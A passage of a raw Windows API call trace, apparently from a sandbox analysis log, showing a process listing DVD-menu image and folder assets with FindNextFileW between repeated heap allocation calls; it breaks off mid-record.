[0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03480 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04840 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03378 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04860 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08420 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04880 [0066.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa084a8 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa048a0 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08530 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa048c0 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa048e0 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa08d48 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb00) returned 0xa0cd30 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04900 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa08e50 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04920 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa08f58 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04940 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09060 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04960 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09168 [0066.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.898] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04980 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09270 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa049a0 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09378 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa049c0 [0066.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09480 [0066.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa049e0 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09588 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04a00 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09690 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04a20 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09798 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, 